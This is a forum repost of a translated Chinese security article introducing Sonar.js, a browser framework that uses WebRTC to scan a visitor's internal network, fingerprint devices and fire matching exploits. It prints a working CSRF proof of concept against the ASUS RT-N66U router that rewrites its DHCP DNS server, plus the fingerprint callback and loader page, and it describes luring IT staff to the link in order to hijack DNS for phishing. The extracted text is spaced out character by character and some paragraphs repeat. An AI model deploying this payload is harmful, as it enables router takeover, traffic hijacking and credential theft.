搜索

[14307] 2019-07-04_Sonar.js：内网主机扫描和利用的网页框架

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-07-04_Sonar.js：内网主机扫描和利用的网页框架 S o n a r . j s ： 内 网 主 机 扫 描 和 利 用 的 网 页 框 架 Z z z x b u g   F r e e B u f   2 0 1 9 - 0 7 - 0 4 最 近 ， 最 近 ， W e b R T C 作 为 一 种 使 用 常 规 网 页 扫 描 内 部 网 络 的 方 式 出 现 在 新 闻 中 。 我 们 已 经 看 到 了 这 种 功 能 的 一 些 有 趣 的 应 用 ， 比 如 《 纽 约 时 报 》 扫 描 你 的 内 部 网 络 来 检 测 机 器 人 。 互 联 网 上 作 为 一 种 使 用 常 规 网 页 扫 描 内 部 网 络 的 方 式 出 现 在 新 闻 中 。 我 们 已 经 看 到 了 这 种 功 能 的 一 些 有 趣 的 应 用 ， 比 如 《 纽 约 时 报 》 扫 描 你 的 内 部 网 络 来 检 测 机 器 人 。 互 联 网 上 的 随 机 网 页 能 够 扫 描 你 的 内 部 网 络 来 寻 找 在 线 主 机 是 可 怕 的 。 攻 击 者 可 以 对 你 内 部 网 络 上 的 活 动 主 机 做 什 么 的 随 机 网 页 能 够 扫 描 你 的 内 部 网 络 来 寻 找 在 线 主 机 是 可 怕 的 。 攻 击 者 可 以 对 你 内 部 网 络 上 的 活 动 主 机 做 什 么 ? 如 果 你 有 过 内 网 渗 透 的 经 验 ， 就 会 发 觉 这 种 情 况 的 可 怕 之 处 。 许 多 内 部 网 如 果 你 有 过 内 网 渗 透 的 经 验 ， 就 会 发 觉 这 种 情 况 的 可 怕 之 处 。 许 多 内 部 网 络 充 斥 着 只 需 要 默 认 凭 证 就 可 登 陆 的 设 备 ， 一 系 列 的 络 充 斥 着 只 需 要 默 认 凭 证 就 可 登 陆 的 设 备 ， 一 系 列 的 c v e 漏 洞 让 使 用 漏 洞 让 使 用 M e t a s p l o i t a b l e 进 行 渗 透 看 上 去 很 安 全 ， 内 网 中 还 有 那 些 插 在 某 个 角 落 从 未 配 置 过 的 设 备 。 然 而 ， 尽 管 进 行 渗 透 看 上 去 很 安 全 ， 内 网 中 还 有 那 些 插 在 某 个 角 落 从 未 配 置 过 的 设 备 。 然 而 ， 尽 管 W e b R T C 是 是 许 多 浏 览 器 的 一 个 可 怕 特 性 ， 但 我 还 没 有 看 到 任 何 使 用 它 开 发 漏 洞 利 用 的 框 架 。 许 多 浏 览 器 的 一 个 可 怕 特 性 ， 但 我 还 没 有 看 到 任 何 使 用 它 开 发 漏 洞 利 用 的 框 架 。 s o n a r . j s 介 绍 介 绍 作 为 回 应 ， 我 构 建 了 s o n a r . j s 。 使 用 J a v a S c r i p t 、 W e b R T C 和 一 些 o n l o a d   h a c k e r y 来 检 测 网 络 上 的 内 部 设 备 的 框 架 。 s o n a r . j s 的 工 作 原 理 是 利 用 W e b R T C 枚 举 内 部 网 络 上 的 活 动 主 机 。 在 枚 举 一 个 活 动 I P 之 后 ， s o n a r . j s 尝 试 链 接 到 静 态 资 源 ， 如 C S S 、 图 像 和 J a v a S c r i p t ， 同 时 挂 接 o n l o a d 事 件 处 理 程 序 。 如 果 资 源 成 功 加 载 并 触 发 o n l o a d 事 件 ， 那 么 我 们 就 知 道 主 机 拥 有 该 资 源 。 知 道 这 个 有 什 么 用 ? 通 过 获 取 驻 留 在 设 备 上 的 资 源 列 表 ， 我 们 可 以 尝 试 对 该 设 备 进 行 指 纹 识 别 。 例 如 ， L i n k s y s   W R T 5 6 G 路 由 器 有 以 下 静 态 资 源 : / U I L i n k s y s . g i f / U I _ 1 0 . g i f / U I _ 0 7 . g i f / U I _ 0 6 . g i f / U I _ 0 3 . g i f / U I _ 0 2 . g i f / U I _ C i s c o . g i f / s t y l e . c s s 因 此 ， 如 果 我 们 将 所 有 这 些 资 源 都 嵌 入 到 我 们 的 页 面 中 ， 并 且 它 们 返 回 一 个 成 功 的 o n l o a d 事 件 ， 那 么 我 们 就 可 以 肯 定 这 个 设 备 确 实 是 一 个 L i n k s y s   W R T 5 4 G 路 由 器 。 s o n a r . j s 为 我 们 自 动 化 了 这 个 过 程 ， 并 允 许 渗 透 测 试 人 员 为 一 系 列 设 备 构 建 一 个 自 定 义 漏 洞 列 表 ， 如 果 通 过 上 面 的 方 法 检 测 到 一 个 设 备 ， 那 么 就 会 启 动 匹 配 的 漏 洞 。 使 用 使 用 s o n a r . j s 构 建 漏 洞 构 建 漏 洞 现 在 您 已 经 了 解 了 s o n a r . j s 的 工 作 原 理 ， 我 们 用 它 来 构 建 一 个 可 用 的 P O C 。 在 本 练 习 中 ， 我 们 尝 试 将 内 部 网 络 上 的 所 有 请 求 重 新 路 由 到 我 们 自 己 的 恶 意 D N S 服 务 器 。 由 于 网 络 上 的 所 有 客 户 端 都 是 通 过 D H C P 从 路 由 器 获 得 D N S 设 置 的 ， 所 以 我 们 必 须 对 其 进 行 折 衷 。 在 真 正 的 攻 击 中 ， 你 会 有 多 个 不 同 型 号 的 路 由 器 的 漏 洞 集 合 ， 但 目 前 我 们 只 是 要 建 立 华 硕 R T - N 6 6 U   W i F i 路 由 器 的 漏 洞 集 合 。 幸 运 的 是 ， R T - N 6 6 U 没 有 跨 站 点 请 求 伪 造 保 护 ， 所 以 我 们 可 以 向 那 些 通 过 路 由 器 认 证 的 人 伪 造 请 求 。 下 面 是 一 个 更 改 路 由 器 默 认 D N S 服 务 器 设 置 的 示 例 请 求 ( 这 是 网 络 上 所 有 客 户 端 的 D N S 服 务 器 ) : 由 于 上 面 的 请 求 不 包 含 任 何 C S R F 令 牌 或 来 源 检 查 ， 所 以 我 们 可 以 强 制 经 过 身 份 验 证 的 用 户 执 行 请 求 。 使 用 B u r p S u i t e 专 业 版 的 用 户 可 以 在 请 求 上 右 键 选 择 “ E n g a g e m e n t   T o o l s ” 和 单 击 “ G e n e r a t e C S R F   P o C ” 来 生 成 P O C 。 P O C 的 例 子 如 下 : 现 在 我 们 的 目 标 路 由 器 有 一 个 漏 洞 — — 那 么 我 们 如 何 将 它 集 成 到 s o n a r . j s 中 呢 ? 首 先 ， 我 们 需 要 创 建 一 个 s o n a r . j s 指 纹 ， 下 面 的 代 码 片 段 显 示 了 这 种 指 纹 的 格 式 : 手 动 创 建 指 纹 可 能 会 很 痛 苦 ， 我 还 建 了 一 个 C h r o m e 扩 展 ， 它 将 根 据 当 前 页 面 生 成 指 纹 。 可 在 此 下 载 : P O S T   / s t a r t _ a p p l y . h t m   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 0 ;   r v : 4 0 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 0 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / A d v a n c e d _ D H C P _ C o n t e n t . a s p C o o k i e :   a p p s _ l a s t = ;   d m _ i n s t a l l = n o ;   d m _ e n a b l e = n o A u t h o r i z a t i o n :   [ R E D A C T E D ] C o n n e c t i o n :   k e e p - a l i v e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   5 1 9 p r o d u c t i d = R T - N 6 6 U & c u r r e n t _ p a g e = A d v a n c e d _ D H C P _ C o n t e n t . a s p & n e x t _ p a g e = A d v a n c e d _ G W S t a t i c R o u t e _ C o n t e n t . a s p & n e x t _ h o s t = 1 9 2 . 1 6 8 . 1 . 1 & m o d i f i e d = 0 & a c t i o n _ m o d e = a p p l y & a c t i o n _ w a i t = 3 0 & a c t i o n _ s c r i p t = r e s t a r t _ n e t _ a n d _ p h y & f i r s t _ t i m e = & p r e f e r r e d _ l a n g = E N & f i r m v e r = v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ; x h r . o p e n ( " P O S T " ,   " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / s t a r t _ a p p l y . h t m " ,   t r u e ) ; x h r . s e t R e q u e s t H e a d e r ( " A c c e p t " ,   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 " ) ; x h r . s e t R e q u e s t H e a d e r ( " A c c e p t - L a n g u a g e " ,   " e n - U S , e n ; q = 0 . 5 " ) ; x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ; x h r . w i t h C r e d e n t i a l s   =   t r u e ; v a r   b o d y   =   " p r o d u c t i d = R T - N 6 6 U & c u r r e n t _ p a g e = A d v a n c e d _ D H C P _ C o n t e n t . a s p & n e x t _ p a g e = A d v a n c e d _ G W S t a t i c R o u t e _ C o n t e n t . a s p & n e x t _ h o s t = 1 9 2 . 1 6 8 . 1 . 1 & m o d i f i e d = 0 & a c t i o n _ m o d e = a p p l y & a c t i o n _ w a i t = 3 0 & a c t i o n _ s c r i p t = r e s t a r t _ n e t _ a n d _ p h y & f i r s t _ t i m e = & p r e f e r r e d _ l a n g = E N & f i r m v e r = 3 . 0 . 0 . 4 & l a n _ i p a d d r = 1 9 2 . 1 6 8 . 1 . 1 & l a n _ n e t m a s k = 2 5 5 . 2 5 5 . 2 5 5 . 0 & d h c p _ s t a t i c l i s t = & d h c p _ e n a b l e _ x = 1 & l a n _ d o m a i n = & d h c p _ s t a r t = 1 9 2 . 1 6 8 . 1 . 2 & d h c p _ e n d = 1 9 2 . 1 6 8 . 1 . 2 5 4 & d h c p _ l e a s e = 8 6 4 0 0 & d h c p _ g a t e w a y _ x = & d h c p _ d n s 1 _ x = 8 . 8 . 8 . 8 & d h c p _ w i n s _ x = & d h c p _ s t a t i c _ x = 0 & d h c p _ s t a t i c m a c _ x _ 0 = & d h c p _ s t a t i c i p _ x _ 0 = & F A Q _ i n p u t = " v a r   a B o d y   =   n e w   U i n t 8 A r r a y ( b o d y . l e n g t h ) ; f o r   ( v a r   i   =   0 ;   i   <   a B o d y . l e n g t h ;   i + + )     a B o d y [ i ]   =   b o d y . c h a r C o d e A t ( i ) ; x h r . s e n d ( n e w   B l o b ( [ a B o d y ] ) ) ; v a r   f i n g e r p r i n t s   =   [         {                 ' n a m e ' :   " A S U S   R T - N 6 6 U " ,                 ' f i n g e r p r i n t s ' :   [ " / i m a g e s / N e w _ u i / a s u s t i t l e . p n g " , " / i m a g e s / l o a d i n g . g i f " , " / i m a g e s / a l e r t I m g . p n g " , " / i m a g e s / N e w _ u i / n e t w o r k m a p / l i n e _ o n e . p n g " , " / i m a g e s / N e w _ u i / n e t w o r k m a p / l o c k . p n g "                 ' c a l l b a c k ' :   f u n c t i o n (   i p   )   {                         / /   E x p l o i t   c o d e   h e r e                 } ,         } , ]
如 前 所 述 ， s o n a r . j s 通 过 链 接 到 主 机 上 的 静 态 资 源 来 枚 举 它 。 J a v a S c r i p t 对 象 的 f i n g e r p r i n t s 字 段 包 含 我 们 已 知 的 存 在 于 每 个 A S U S   R T - N 6 6 U 路 由 器 上 的 静 态 资 源 数 组 。 例 如 ， 我 们 知 道 图 像   是 R T - N 6 6 U   w e b   U I 主 菜 单 的 一 部 分 。 在 枚 举 I P 地 址 之 后 ， s o n a r . j s 将 尝 试 链 接 到 上 面 的 资 源 ， 同 时 挂 接 o n l o a d 事 件 处 理 程 序 ， 检 查 它 们 是 否 成 功 加 载 。 如 果 上 述 所 有 资 源 都 成 功 加 载 ， 那 么 s o n a r . j s 将 调 用 c a l l b a c k ( i p ) 函 数 来 启 动 攻 击 。 所 以 ， 对 我 们 的 攻 击 脚 本 做 小 小 的 修 改 ， 我 们 就 有 了 有 效 的 s o n a r . j s 载 荷 : 然 后 将 指 纹 数 据 库 加 载 到 s o n a r . j s 中 : 现 在 我 们 有 一 个 有 效 的 漏 洞 攻 击 脚 本 ! 下 一 步 是 把 这 个 有 效 载 荷 发 送 给 我 们 的 受 害 者 。 这 将 有 利 于 目 标 用 户 与 路 由 器 访 问 ， 如 I t 人 员 或 系 统 管 理 员 。 当 用 户 点 击 到 s o n a r . j s 网 页 有 效 负 载 的 链 接 时 ， 内 部 网 络 将 被 扫 描 到 华 硕 R T - N 6 6 U 路 由 器 ， 一 旦 发 现 路 由 器 存 在 漏 洞 ， 就 会 对 其 发 起 攻 击 。 要 展 示 这 种 有 效 载 荷 的 实 际 例 子 ， 请 参 见 以 下 视 频 : 您 可 以 看 到 ， 由 于 R T - N 6 6 U 路 由 器 中 的 一 个 简 单 的 跨 站 点 请 求 伪 造 漏 洞 ， 我 们 劫 持 了 内 部 网 络 上 的 所 有 D N S 请 求 。 现 在 我 们 已 经 控 制 了 网 络 的 D N S ， 我 们 可 以 将 请 求 重 定 向 到 诸 如 这 样 的 钓 鱼 页 面 。 可 以 说 ， 当 你 控 制 D N S 时 ， 游 戏 就 差 不 多 结 束 了 。 s o n a r . j s 项 目 项 目 我 们 现 在 可 以 针 对 一 系 列 设 备 构 建 漏 洞 ， 而 s o n a r . j s 将 帮 助 我 们 将 这 些 漏 洞 发 送 到 内 部 网 络 。 目 前 ， s o n a r . j s 指 纹 数 据 库 仅 限 于 少 数 设 备 的 少 量 指 纹 。 我 们 需 要 你 的 帮 助 来 完 善 这 个 项 目 ! 有 关 生 成 指 纹 和 利 用 s o n a r 构 建 攻 击 脚 本 的 更 多 信 息 ， 请 参 见 以 下 G i t h u b 项 目 : h t t p s : / / g i t h u b . c o m / m a n d a t o r y p r o g r a m m e r / s o n a r . j s * 参 考 来 源 ： 参 考 来 源 ： t h e h a c k e r b l o g ， ， Z z z x b u g 编 译 整 理 ， 转 载 请 注 明 来 自 编 译 整 理 ， 转 载 请 注 明 来 自   F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 h t t p s : / / c h r o m e . g o o g l e . c o m / w e b s t o r e / d e t a i l / s o n a r - f i n g e r p r i n t - g e n e r a t / p m i j n n d l j o l c h j l f c n c a e o e j f p j j a g e f / i m a g e s / N e w _ u i / a s u s t i t l e . p n g         {                 ' n a m e ' :   " A S U S   R T - N 6 6 U " ,                 ' f i n g e r p r i n t s ' :   [ " / i m a g e s / N e w _ u i / a s u s t i t l e . p n g " , " / i m a g e s / l o a d i n g . g i f " , " / i m a g e s / a l e r t I m g . p n g " , " / i m a g e s / N e w _ u i / n e t w o r k m a p / l i n e _ o n e . p n g " , " / i m a g e s / N e w _ u i / n e t w o r k m a p / l o c k . p n g "                 ' c a l l b a c k ' :   f u n c t i o n (   i p   )   {                         v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;                         x h r . o p e n ( " P O S T " ,   " h t t p : / / "   +   i p   +   " / s t a r t _ a p p l y . h t m " ,   t r u e ) ;                         x h r . s e t R e q u e s t H e a d e r ( " A c c e p t " ,   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 " ) ;                         x h r . s e t R e q u e s t H e a d e r ( " A c c e p t - L a n g u a g e " ,   " e n - U S , e n ; q = 0 . 5 " ) ;                         x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ;                         x h r . w i t h C r e d e n t i a l s   =   t r u e ;                         v a r   b o d y   =   " p r o d u c t i d = R T - N 6 6 U & c u r r e n t _ p a g e = A d v a n c e d _ D H C P _ C o n t e n t . a s p & n e x t _ p a g e = A d v a n c e d _ G W S t a t i c R o u t e _ C o n t e n t . a s p & n e x t _ h o s t = "   +   i p   +   " & m o d i f i e d = 0 & a c t i o n _ m o d e = a p p l y & a c t i o n _ w a i t = 3 0 & a c t i o n _ s c r i p t = r e s t a r t _ n e t _ a n d _ p h y & f i r s t _ t i m e = & p r e f e r r e d _ l a n g = E N & f i r m v e r = 3 . 0 . 0 . 4 & l a n _ i p a d d r = "                         v a r   a B o d y   =   n e w   U i n t 8 A r r a y ( b o d y . l e n g t h ) ;                         f o r   ( v a r   i   =   0 ;   i   <   a B o d y . l e n g t h ;   i + + )                             a B o d y [ i ]   =   b o d y . c h a r C o d e A t ( i ) ;                         x h r . s e n d ( n e w   B l o b ( [ a B o d y ] ) ) ;                 } ,         } , } < ! D O C T Y P E   h t m l > < h t m l >         < h e a d >         < / h e a d >         < b o d y >                 < s c r i p t   s r c = " s o n a r . j s " > < / s c r i p t >                 < s c r i p t   s r c = " f i n g e r p r i n t _ d b . j s " > < / s c r i p t >                 < s c r i p t >                         / /   S o n a r . j s   l o a d i n g   a   f i n g e r p r i n t   d a t a b a s e   f r o m   f i n g e r p r i n t _ d b . j s                         s o n a r . l o a d _ f i n g e r p r i n t s (   f i n g e r p r i n t s   ) ;                         s o n a r . s t a r t ( ) ; < / s c r i p t >         < / b o d y > < / h t m l > [ h t t p : / / l e g i t b a n k . c o m ] ( h t t p : / / l e g i t b a n k . c o m )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理